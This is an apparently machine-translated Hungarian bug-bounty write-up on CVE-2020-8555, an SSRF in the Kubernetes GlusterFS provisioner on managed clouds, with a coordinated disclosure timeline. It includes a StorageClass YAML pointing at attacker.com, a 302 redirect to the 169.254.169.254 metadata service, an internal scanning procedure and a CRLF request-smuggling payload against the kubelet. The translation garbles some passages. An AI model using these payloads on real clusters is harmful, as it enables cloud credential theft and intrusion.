🥇Amikor nem csak a Kubernetes sebezhetőségéről van szó…

Jegyzet. ford.: a cikk szerzői részletesen beszélnek arról, hogyan sikerült felfedezniük a sebezhetőséget CVE-2020-8555 Kubernetesben. Bár kezdetben nem tűnt túl veszélyesnek, más tényezőkkel kombinálva egyes felhőszolgáltatóknál a kritikussága maximálisnak bizonyult. Több szervezet bőkezűen jutalmazta a szakemberek munkáját.

Kik vagyunk mi

Két francia biztonsági kutató vagyunk, akik közösen fedezték fel a Kubernetes biztonsági rését. A nevünk Brice Augras és Christophe Hauquiert, de számos Bug Bounty platformon Reeverzax és Hach néven ismernek bennünket:

Brice Augras - Groupe Asten Company;
Christophe Hauquiert - Kubernetes építész a Nokia-nál.

Mi történt?

Ebben a cikkben megosztjuk, hogyan vált egy hétköznapi kutatási projektből váratlanul a poloskavadászok életének legizgalmasabb kalandja (legalábbis egyelőre).

Amint azt valószínűleg tudja, a hibavadászoknak van néhány figyelemreméltó tulajdonsága:

pizzán és sörön élnek;
akkor dolgoznak, amikor mindenki más alszik.

Mi sem vagyunk kivételek e szabályok alól: általában hétvégén találkozunk, és álmatlan éjszakákat töltünk hackelve. De az egyik éjszaka nagyon szokatlan módon ért véget.

Kezdetben találkoztunk, hogy megbeszéljük a részvételt CTF a következő nap. A Kubernetes biztonságáról egy menedzselt szolgáltatási környezetben folytatott beszélgetés során emlékeztünk az SSRF régi ötletére (Szerveroldali kérelem-hamisítás), és úgy döntött, hogy megpróbálja támadási szkriptként használni.

Este 11 órakor leültünk kutatást végezni, és kora reggel lefeküdtünk, nagyon elégedettek az eredménnyel. Ennek a kutatásnak köszönhető, hogy találkoztunk az MSRC Bug Bounty programmal, és előálltunk egy privilégium-eszkalációs exploittal.

Eltelt néhány hét/hónap, és váratlan eredményünk az Azure Cloud Bug Bounty történetének egyik legmagasabb jutalmát eredményezte - a Kubernetestől kapott jutalmon kívül!

A Kubernetes Termékbiztonsági Bizottság kutatási projektünk alapján közzétette CVE-2020-8555.

Most a talált sérülékenységről szeretnék minél többet terjeszteni. Reméljük, értékeli a leletet, és megosztja a technikai részleteket az infosec közösség többi tagjával!

Szóval itt a történetünk...

Kontextus

Ahhoz, hogy a lehető legjobban megértsük a történteket, először nézzük meg, hogyan működik a Kubernetes egy felhő által felügyelt környezetben.

Amikor egy Kubernetes-fürtöt ilyen környezetben példányosít, a felügyeleti réteg általában a felhőszolgáltató felelőssége:

A vezérlőréteg a felhőszolgáltató, míg a Kubernetes csomópontok az ügyfél peremén találhatók.

A kötetek dinamikus kiosztásához egy olyan mechanizmust használnak, amely dinamikusan kiépíti őket egy külső tároló háttérrendszerből, és összehasonlítja őket a PVC-vel (tartós kötetigénylés, azaz kötetkérelem).

Így a PVC létrehozása és a StorageClasshoz való kötése után a K8s-fürtben a kötet biztosítására irányuló további műveleteket a kube/felhővezérlő-kezelő veszi át (a pontos neve a kiadástól függ). (Jegyzet. ford.: A CCM-ről már írtunk bővebben az egyik felhőszolgáltatónál való megvalósításának példáján itt.)

A Kubernetes által támogatott szolgáltatók többféle típusa létezik: ezek többsége benne van hangszerelő mag, míg a többit további szolgáltatók kezelik, amelyek a fürtben lévő podokban vannak elhelyezve.

Kutatásunk során a belső kötet-kiépítési mechanizmusra összpontosítottunk, amelyet az alábbiakban szemléltetünk:

Kötetek dinamikus kiépítése a beépített Kubernetes létesítővel

Röviden, ha a Kubernetes felügyelt környezetben van üzembe helyezve, a vezérlőkezelő a felhőszolgáltató felelőssége, de a kötetlétrehozási kérés (a fenti ábrán 3-as szám) elhagyja a felhőszolgáltató belső hálózatát. És itt válnak igazán érdekessé a dolgok!

Hackelési forgatókönyv

Ebben a részben elmagyarázzuk, hogyan használtuk ki a fent említett munkafolyamatot, és hogyan fértünk hozzá a felhőszolgáltató belső erőforrásaihoz. Azt is megmutatja, hogyan hajthat végre bizonyos műveleteket, például belső hitelesítő adatok beszerzését vagy jogosultságok kiterjesztését.

Egy egyszerű manipuláció (jelen esetben a Service Side Request Forgery) segített abban, hogy az ügyfélkörnyezeten túlmenően különböző szolgáltatók fürtjeibe kerüljön a felügyelt K8-asok alatt.

Kutatásunkban a GlusterFS szolgáltatóra összpontosítottunk. Annak ellenére, hogy a további műveletsorokat ebben az összefüggésben ismertetjük, a Quobyte, a StorageOS és a ScaleIO ugyanarra a sérülékenységre van kitéve.

A dinamikus kötet-ellátó mechanizmussal való visszaélés

Tárolási osztály elemzése során GlusterFS a Golang kliens forráskódjában mi megjegyeztehogy a kötet létrehozása során küldött első HTTP-kérésnél (3) a paraméterben szereplő egyéni URL végére resturl - tette hozzá /volumes.

Úgy döntöttünk, hogy hozzáadásával megszabadulunk ettől a további útvonaltól # paraméterben resturl. Ez az első YAML-konfiguráció, amellyel félvak SSRF-sebezhetőséget teszteltünk (a félvak vagy félvak SSRF-ről bővebben olvashat pl. itt - kb. fordítás.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Ezután a bináris segítségével távolról kezeltük a Kubernetes-fürtöt kubectl. Általában a felhőszolgáltatók (Azure, Google, AWS stb.) lehetővé teszik, hogy hitelesítő adatokat szerezzen be a segédprogramhoz.

Ennek köszönhetően tudtam használni a „speciális” fájlomat. A Kube-controller-manager végrehajtotta a kapott HTTP kérést:

kubectl create -f sc-poc.yaml

A válasz a támadó szemszögéből

Röviddel ezután a célszervertől HTTP választ is kaphattunk - a parancsokon keresztül describe pvc vagy get events in kubectl. És valóban: ez az alapértelmezett Kubernetes-illesztőprogram túl bőbeszédű a figyelmeztetésekben/hibaüzenetekben...

Itt van egy példa linkkel https://www.google.frparaméterként beállítva resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Ebben a megközelítésben olyan lekérdezésekre korlátozódtunk, mint pl HTTP POST és nem tudta megszerezni a választörzs tartalmát, ha a visszatérési kód az volt 201. Ezért úgy döntöttünk, hogy további kutatásokat folytatunk, és új megközelítésekkel bővítettük ezt a hackelési forgatókönyvet.

Kutatásunk evolúciója

1. speciális forgatókönyv: 302-es átirányítás használata külső kiszolgálóról a HTTP-módszer megváltoztatásához, hogy rugalmasabb módot biztosítson a belső adatok gyűjtésére.
2. speciális forgatókönyv: Automatizálja a LAN-keresést és a belső erőforrás-felderítést.
3. speciális forgatókönyv: HTTP CRLF + csempészet ("request smuggling") használata testreszabott HTTP-kérések létrehozásához és a kube-vezérlő naplóiból kinyert adatok lekéréséhez.

Műszaki adatok

A kutatás az Azure Kubernetes Service-t (AKS) a Kubernetes 1.12-es verziójával használta az észak-európai régióban.
A fent leírt forgatókönyvek a Kubernetes legújabb kiadásain valósultak meg, a harmadik forgatókönyv kivételével, mert szüksége volt a Golang ≤ 1.12-es verziójával épített Kubernetesre.
A támadó külső szervere - https://attacker.com.

1. speciális forgatókönyv: HTTP POST kérés átirányítása a GET-re, és érzékeny adatok fogadása

Az eredeti módszert a támadó szerverének konfigurációja javította a visszatéréshez 302 HTTP Retcodeegy POST kérés GET kéréssé konvertálásához (a diagram 4. lépése):

Az első kérés (3) az ügyféltől érkezik GlusterFS (Controller Manager), POST típusú. Az alábbi lépéseket követve GET-vé tudtuk alakítani:

Paraméterként resturl a StorageClass-ban fel van tüntetve http://attacker.com/redirect.php.
Endpoint https://attacker.com/redirect.php 302-es HTTP állapotkóddal válaszol a következő helyfejléccel: http://169.254.169.254. Ez lehet bármely más belső erőforrás - ebben az esetben az átirányítási hivatkozást csak példaként használjuk.
Alapértelmezésben net/http könyvtár A Golang átirányítja a kérést, és a POST-ot 302-es állapotkóddal rendelkező GET-té alakítja, ami egy HTTP GET-kérést eredményez a célerőforráshoz.

A HTTP válasz törzsének elolvasásához meg kell tennie describe PVC tárgy:

kubectl describe pvc xxx

Íme egy példa egy HTTP-válaszra JSON formátumban, amelyet tudtunk fogadni:

A talált sebezhetőség lehetőségei akkoriban a következő pontok miatt korlátozottak voltak:

Nem lehet HTTP-fejléceket beilleszteni a kimenő kérésbe.
Képtelenség végrehajtani egy POST kérést paraméterekkel a törzsben (ez kényelmes a kulcs értékének lekéréséhez egy olyan etcd példánytól, amelyen fut 2379 titkosítás nélküli HTTP használata esetén).
Nem sikerült lekérni a választörzs tartalmát, ha az állapotkód 200 volt, és a válasz nem rendelkezik JSON-tartalomtípussal.

2. speciális forgatókönyv: A helyi hálózat vizsgálata

Ezt a félvak SSRF módszert használták azután a felhőszolgáltató belső hálózatának vizsgálatára, és a válaszok alapján lekérdezték a különböző lehallgatási szolgáltatásokat (Metaadat-példány, Kubelet stb.). kube vezérlő.

Először a Kubernetes komponensek szabványos lehallgató portjait határoztuk meg (8443, 10250, 10251 stb.), majd automatizálnunk kellett a szkennelési folyamatot.

Mivel láttuk, hogy ez az erőforrás-ellenőrzési módszer nagyon specifikus, és nem kompatibilis a klasszikus szkennerekkel és SSRF-eszközökkel, úgy döntöttünk, hogy létrehozzuk saját dolgozóinkat egy bash szkriptben, amely automatizálja a teljes folyamatot.

Például a belső hálózat 172.16.0.0/12 tartományának gyors átvizsgálása érdekében párhuzamosan 15 dolgozót indítottak. A fenti IP-tartomány csak példaként került kiválasztásra, és az adott szolgáltató IP-tartománya változhat.

Egy IP-cím és egy port vizsgálatához a következőket kell tennie:

törölje az utoljára ellenőrzött StorageClass-t;
távolítsa el a korábbi ellenőrzött állandó kötetre vonatkozó követelést;
módosítsa az IP és a Port értékeket sc.yaml;
hozzon létre egy StorageClass-t új IP-címmel és porttal;
hozzon létre egy új PVC-t;
kivonja a szkennelési eredményeket a PVC leírása segítségével.

3. speciális forgatókönyv: CRLF injekció + HTTP csempészése a Kubernetes-fürt „régi” verzióiban

Ha ezen felül a szolgáltató a K8s fürt régi verzióit kínálta az ügyfeleknek и hozzáférést biztosított számukra a kube-controller-manager naplóihoz, a hatás még jelentősebbé vált.

Valóban sokkal kényelmesebb a támadó számára, ha saját belátása szerint módosíthatja azokat a HTTP-kéréseket, amelyek célja a teljes HTTP-válasz megszerzése.

Az utolsó forgatókönyv megvalósításához a következő feltételeknek kellett teljesülniük:

A felhasználónak hozzáféréssel kell rendelkeznie a kube-controller-manager naplókhoz (mint például az Azure LogInsightsban).
A Kubernetes-fürtnek a Golang 1.12-nél régebbi verzióját kell használnia.

Helyi környezetet telepítettünk, amely szimulálta a kommunikációt a GlusterFS Go kliens és egy hamis célkiszolgáló között (egyelőre tartózkodunk a PoC közzétételétől).

Megtalálták sebezhetőség, amely a Golang 1.12-nél régebbi verzióit érinti, és lehetővé teszi a hackerek számára, hogy HTTP-csempészet/CRLF-támadásokat hajtsanak végre.

A fent leírt félvak SSRF kombinálásával вместе ezzel kedvünkre küldhettünk kéréseket, beleértve a fejlécek, HTTP metódusok, paraméterek és adatok cseréjét, amit a kube-controller-manager aztán feldolgozott.

Íme egy példa egy működő „csali”-ra egy paraméterben resturl StorageClass, amely hasonló támadási forgatókönyvet valósít meg:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Az eredmény egy hiba kéretlen válasz, amelyről a vezérlő naplóiban egy üzenet kerül rögzítésre. Az alapértelmezés szerint engedélyezett bőbeszédűségnek köszönhetően a HTTP válaszüzenet tartalma is ott kerül mentésre.

Ez volt a leghatékonyabb „csalink” a proof of concept keretein belül.

Ezzel a megközelítéssel a következő támadások közül néhányat tudtunk végrehajtani különböző felügyelt k8s-szolgáltatók fürtjein: jogosultság-kiterjesztés hitelesítési adatokkal a metaadat-példányokon, Master DoS (titkosítatlan) HTTP-kéréseken keresztül az etcd főpéldányokon stb.

Utóhatás

A Kubernetes hivatalos közleményében az általunk felfedezett SSRF sebezhetőségről besorolták CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ha csak a Kubernetes kerülethez kapcsolódó sebezhetőséget vesszük figyelembe, akkor az integritásvektort (integritásvektor) annak minősül Egyik sem.

A menedzselt szolgáltatási környezet összefüggésében felmérve azonban a lehetséges következményeket (és ez volt kutatásunk legérdekesebb része!) arra késztetett bennünket, hogy a sebezhetőséget átsoroljuk minősítésbe. Kritikus CVSS10/10 sok forgalmazó számára.

Az alábbiakban további információk találhatók, amelyek segítenek megérteni szempontjainkat a felhőkörnyezetben jelentkező lehetséges hatások felmérése során:

Sértetlenség

Parancsok végrehajtása távolról a megszerzett belső hitelesítő adatok segítségével.
A fenti forgatókönyv reprodukálása az IDOR (Insecure Direct Object Reference) módszerrel a helyi hálózaton található egyéb erőforrásokkal.

Titoktartás

Támadás típusa Oldalsó mozgás felhőalapú hitelesítési adatok (például metaadat API) ellopásának köszönhetően.
Információgyűjtés a helyi hálózat szkennelésével (SSH verzió, HTTP szerver verzió meghatározása, ...).
Példány- és infrastruktúra-információk gyűjtése belső API-k lekérdezésével, például a metaadat API (http://169.254.169.254,…).
Ügyféladatok ellopása felhőalapú hitelesítő adatok segítségével.

elérhetőség

Minden támadási vektorral kapcsolatos kihasználási forgatókönyv sértetlenség, használható romboló műveletekre, és ahhoz vezethet, hogy a kliens kerületéről (vagy bármely másról) származó mesterpéldányok nem érhetők el.

Mivel felügyelt K8-as környezetben voltunk, és értékeltük az integritásra gyakorolt hatást, sok forgatókönyvet el tudunk képzelni, amelyek befolyásolhatják a rendelkezésre állást. További példák közé tartozik az etcd adatbázis megsértése vagy a Kubernetes API kritikus hívása.

kronológia

6. december 2019.: A sebezhetőséget jelentették az MSRC Bug Bountynak.
3. január 2020.: Egy harmadik fél tájékoztatta a Kubernetes fejlesztőit, hogy egy biztonsági problémán dolgozunk. És arra kérte őket, hogy tekintsék az SSRF-t belső (magon belüli) sebezhetőségnek. Ezután általános jelentést készítettünk a probléma forrásáról szóló technikai részletekkel.
15. január 2020.: Technikai és általános jelentéseket adtunk a Kubernetes fejlesztőinek kérésükre (a HackerOne platformon keresztül).
15. január 2020.: A Kubernetes fejlesztői értesítettek bennünket, hogy a félvak SSRF + CRLF injekció a korábbi kiadásokhoz belső sérülékenységnek minősül. Azonnal abbahagytuk a többi szolgáltató körzetének elemzését: a K8s csapata most a kiváltó okkal foglalkozott.
15. január 2020.: MSRC-jutalom a HackerOne-on keresztül.
16. január 2020.: A Kubernetes PSC (Termékbiztonsági Bizottság) felismerte a sebezhetőséget, és azt kérte, hogy a potenciális áldozatok nagy száma miatt március közepéig tartsák titokban.
11. február 2020.: Google VRP-jutalmat kaptunk.
4. március 2020.: Kubernetes-jutalom a HackerOne-on keresztül.
15. március 2020.: Az eredetileg tervezett nyilvánosságra hozatalt a COVID-19 helyzet miatt elhalasztották.
1. június 2020.: Kubernetes + Microsoft közös nyilatkozata a biztonsági résről.

TL, DR

Iszunk sört és eszünk pizzát :)
Felfedeztünk egy belső biztonsági rést a Kubernetesben, bár nem volt szándékunkban ezt megtenni.
További elemzéseket végeztünk a különböző felhőszolgáltatók fürtjein, és növelni tudtuk a sebezhetőség által okozott károkat, és további fantasztikus bónuszokat kaptunk.
Ebben a cikkben sok technikai részletet talál. Szívesen megvitatjuk őket veled (Twitter: @ReeverZax & @__hach_).
Kiderült, hogy a vártnál sokkal tovább tartott mindenféle formaság és bejelentés.